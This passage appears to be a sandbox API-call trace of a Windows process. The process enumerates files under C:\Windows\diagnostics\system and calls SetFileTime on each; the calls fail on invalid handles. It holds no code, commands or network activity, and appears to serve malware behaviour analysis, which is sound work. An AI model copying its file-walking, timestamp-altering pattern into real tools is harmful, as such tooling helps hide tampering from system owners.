lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.442] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.442] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.442] CloseHandle (hObject=0xffffffff) returned 0 [0126.443] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.443] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\RS_Service.ps1") returned="RS_Service.ps1" [0126.443] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.443] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.443] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.443] CloseHandle (hObject=0xffffffff) returned 0 [0126.444] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.444] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\TS_HomeGroup.ps1") returned="TS_HomeGroup.ps1" [0126.444] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="C:\\Windows\\diagnostics\\system\\HomeGroup\\" [0126.444] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\HomeGroup\\") returned="" [0126.444] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.444] CloseHandle (hObject=0xffffffff) returned 0 [0126.444] lstrcmpA (lpString1=".", lpString2="IEBrowseWeb") returned -1 [0126.444] lstrcmpA (lpString1="..", lpString2="IEBrowseWeb") returned -1 [0126.444] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.445] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.451] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.451] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.451] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.451] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.451] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\*.*") returned="*.*" [0126.452] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.452] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.452] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.452] CloseHandle (hObject=0xffffffff) returned 0 [0126.452] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.452] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\CL_Utility.ps1") returned="CL_Utility.ps1" [0126.453] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.453] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.453] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.453] CloseHandle (hObject=0xffffffff) returned 0 [0126.453] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.453] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.453] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.454] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.454] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.454] CloseHandle (hObject=0xffffffff) returned 0 [0126.454] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.454] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.454] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\DiagPackage.dll") returned="DiagPackage.dll" [0126.454] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x238ae7a2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x50156c, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.492] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.493] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.493] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.493] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.493] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\*.*") returned="*.*" [0126.493] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" [0126.494] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="" [0126.494] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.494] CloseHandle (hObject=0xffffffff) returned 0 [0126.494] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.494] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\DiagPackage.dll.mui") returned="DiagPackage.dll.mui" [0126.495] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" [0126.495] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="" [0126.495] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.495] CloseHandle (hObject=0xffffffff) returned 0 [0126.495] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.495] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\IEBrowseWeb_TroubleShooter.psd1") returned="IEBrowseWeb_TroubleShooter.psd1" [0126.495] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" [0126.495] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="" [0126.496] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.496] CloseHandle (hObject=0xffffffff) returned 0 [0126.496] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.496] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\RS_DisableAddon.psd1") returned="RS_DisableAddon.psd1" [0126.496] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" [0126.497] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="" [0126.497] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.497] CloseHandle (hObject=0xffffffff) returned 0 [0126.497] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.497] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\RS_DisableAddonLoadingTime.psd1") returned="RS_DisableAddonLoadingTime.psd1" [0126.497] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" [0126.497] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="" [0126.498] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.498] CloseHandle (hObject=0xffffffff) returned 0 [0126.498] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.498] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\RS_ResetCacheSize.psd1") returned="RS_ResetCacheSize.psd1" [0126.498] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" [0126.498] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="" [0126.499] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.499] CloseHandle (hObject=0xffffffff) returned 0 [0126.499] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.499] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\RS_Resetpagesyncpolicy.psd1") returned="RS_Resetpagesyncpolicy.psd1" [0126.499] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" [0126.499] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\") returned="" [0126.499] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.499] CloseHandle (hObject=0xffffffff) returned 0 [0126.501] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.501] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\*.*") returned="*.*" [0126.501] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.501] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.502] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.502] CloseHandle (hObject=0xffffffff) returned 0 [0126.502] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.502] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\IEBrowseWeb_TroubleShooter.ps1") returned="IEBrowseWeb_TroubleShooter.ps1" [0126.502] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.530] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.531] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.531] CloseHandle (hObject=0xffffffff) returned 0 [0126.531] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106e3880, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x106e3880, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd1f77879, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa29, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_DisableaddonLoadingTime.ps1", cAlternateFileName="")) returned 1 [0126.532] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.532] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\RS_Disableaddon.ps1") returned="RS_Disableaddon.ps1" [0126.532] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.532] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.532] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.532] CloseHandle (hObject=0xffffffff) returned 0 [0126.533] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107099dd, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x107099dd, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd1f9d9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_ResetCacheSize.ps1", cAlternateFileName="")) returned 1 [0126.533] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.533] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\RS_DisableaddonLoadingTime.ps1") returned="RS_DisableaddonLoadingTime.ps1" [0126.533] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.533] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.533] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.533] CloseHandle (hObject=0xffffffff) returned 0 [0126.533] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1072fb3a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1072fb3a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd1fe9c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_Resetpagesyncpolicy.ps1", cAlternateFileName="")) returned 1 [0126.534] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.534] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\RS_ResetCacheSize.ps1") returned="RS_ResetCacheSize.ps1" [0126.534] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.534] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.535] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.535] CloseHandle (hObject=0xffffffff) returned 0 [0126.535] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107a1f51, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x107a1f51, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd200fdf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_RestoreIEconnection.ps1", cAlternateFileName="")) returned 1 [0126.535] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.535] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\RS_Resetpagesyncpolicy.ps1") returned="RS_Resetpagesyncpolicy.ps1" [0126.535] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.535] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.535] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.536] CloseHandle (hObject=0xffffffff) returned 0 [0126.536] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1083a4c5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1083a4c5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd20a8369, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3093, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_IEAddon.ps1", cAlternateFileName="")) returned 1 [0126.536] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.536] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\RS_RestoreIEconnection.ps1") returned="RS_RestoreIEconnection.ps1" [0126.536] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.536] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.536] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.537] CloseHandle (hObject=0xffffffff) returned 0 [0126.537] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108d2a39, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x108d2a39, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd20ce4c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_IEAddonLoadingTime.ps1", cAlternateFileName="")) returned 1 [0126.537] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.537] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\TS_IEAddon.ps1") returned="TS_IEAddon.ps1" [0126.537] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.537] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.537] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.537] CloseHandle (hObject=0xffffffff) returned 0 [0126.538] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x108f8b96, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x108f8b96, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd20ce4c7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5df, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_IEconnection.ps1", cAlternateFileName="")) returned 1 [0126.538] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.538] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\TS_IEAddonLoadingTime.ps1") returned="TS_IEAddonLoadingTime.ps1" [0126.538] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" [0126.538] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IEBrowseWeb\\") returned="" [0126.538] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.538] CloseHandle (hObject=0xffffffff) returned 0 [0126.539] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1091ecf3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1091ecf3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd20f4625, 